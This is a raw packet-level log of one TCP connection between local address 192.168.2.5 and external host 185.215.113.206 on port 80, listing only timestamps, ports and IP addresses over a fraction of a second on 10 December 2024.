Dec 10, 2024 05:10:40.248869896 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.248908043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.251226902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.251327038 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.251327038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.251373053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.253540993 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.253580093 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.253638983 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.253678083 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.255882025 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.255924940 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.255960941 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.255999088 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.258147001 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.258187056 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.258263111 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.258300066 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.285391092 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.285442114 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.285475969 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.285511017 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.286319017 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.286361933 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.286678076 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.286721945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.286746025 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.286783934 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.288619995 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.288664103 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.288737059 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.288779020 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.290605068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.290657043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.290685892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.290719986 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.292470932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.292516947 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.292587996 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.292629957 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.294388056 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.294424057 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.294502974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.294540882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.296341896 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.296386003 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.296412945 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.296448946 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.298196077 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.298242092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.298315048 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.298351049 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.300101042 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.300141096 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.300193071 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.300230026 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.302083015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.302122116 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.302134037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.302169085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.303914070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.303953886 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.304018021 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.304055929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.305824995 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.305861950 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.305936098 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.305973053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.307728052 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.307784081 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.307878971 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.307926893 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.309637070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.309689045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.309741020 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.309779882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.311534882 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.311573029 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.311635971 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.311671972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.313484907 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.313532114 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.313550949 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.313590050 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.315406084 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.315455914 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.315490007 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.315535069 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.317293882 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.317339897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.317400932 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.317459106 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.319173098 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.319217920 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.319258928 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.319298983 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.321074009 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.321140051 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.321193933 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.321238995 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.322979927 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.323019981 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.323087931 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.323127985 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.324942112 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.324982882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.325007915 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.325046062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.326802015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.326844931 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.326915979 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.326951027 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.328699112 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.328736067 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.343674898 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.343727112 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.343764067 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.343807936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.344594955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.344641924 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.344959974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.345000029 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.345108032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.345161915 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.346927881 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.346971989 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.346990108 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.347032070 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.348911047 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.348938942 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.348959923 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.348969936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.350725889 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.350790977 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.350804090 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.350851059 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.352597952 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.352646112 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.352684975 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.352729082 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.354522943 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.354573011 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.354657888 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.354702950 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.356429100 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.356477022 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.356513977 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.356559992 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.358297110 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.358344078 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.410865068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.410878897 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.410923004 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.411731005 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.411781073 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.411783934 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.412167072 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.413599014 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.413646936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.413676977 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.413716078 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.415447950 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.415494919 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.415534019 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.415575981 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.417320967 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.417411089 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.417439938 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.417486906 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.419220924 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.419269085 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.419321060 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.421163082 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.421212912 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.421267033 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.421356916 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.423060894 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.423115969 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.423240900 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.423242092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.425017118 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.425029039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.425052881 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.425062895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.426767111 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.426816940 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.426853895 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.426896095 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.428515911 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.428564072 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.428656101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.428697109 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.430246115 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.430310011 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.430346012 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.430509090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.431956053 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.432033062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.432106018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.432162046 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.433634996 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.433691025 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.433737993 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.433850050 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.435317039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.435360909 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.435389996 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.435422897 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.436856031 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.436906099 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.436964989 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.437009096 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.438477039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.438522100 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.438551903 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.438600063 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.439994097 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.440073967 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.440097094 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.440146923 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.441495895 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.441606045 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.441621065 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.441642046 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.443010092 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.443065882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.443146944 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.443196058 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.444494009 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.444546938 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.444607019 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.444655895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.445995092 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.446161032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.446162939 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.446198940 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.447431087 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.447470903 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.447540998 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.447580099 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.448838949 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.448935986 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.448937893 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.448971033 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.477488041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.477580070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.477627993 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.477977037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.478058100 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.478091002 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.478146076 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.478991032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.479034901 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.479089975 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.479192019 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.480065107 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.480123997 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.480155945 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.480195999 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.481054068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.481123924 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.481199980 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.481264114 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.482050896 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.482096910 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.482165098 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.482203960 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.483078003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.483140945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.483175039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.483213902 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.484119892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.484170914 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.484222889 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.484266043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.485119104 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.485158920 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.485245943 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.485315084 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.486141920 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.486183882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.486227989 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.486267090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.487149954 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.487225056 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.487257957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.487296104 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.488167048 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.488209009 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.488267899 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.488312960 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.489504099 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.489546061 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.489721060 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.489773989 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.490546942 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.490590096 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.490747929 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.490797997 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.491569042 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.491607904 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.491871119 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.491916895 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.492580891 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.492629051 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.492887974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.492928982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.493596077 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.493637085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.493844032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.493885994 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.494599104 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.494646072 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.494874001 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.494921923 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.495548010 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.495590925 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.495857000 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.495903015 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.496551991 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.496593952 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.496880054 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.496969938 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.535712004 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.535777092 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.535839081 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.536103010 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.536183119 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.536256075 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.536281109 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.536322117 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.537200928 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.537307978 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.537354946 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.538213015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.538322926 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.538372993 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.539258003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.539360046 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.539410114 CET	49895	80	192.168.2.5	185.215.113.206
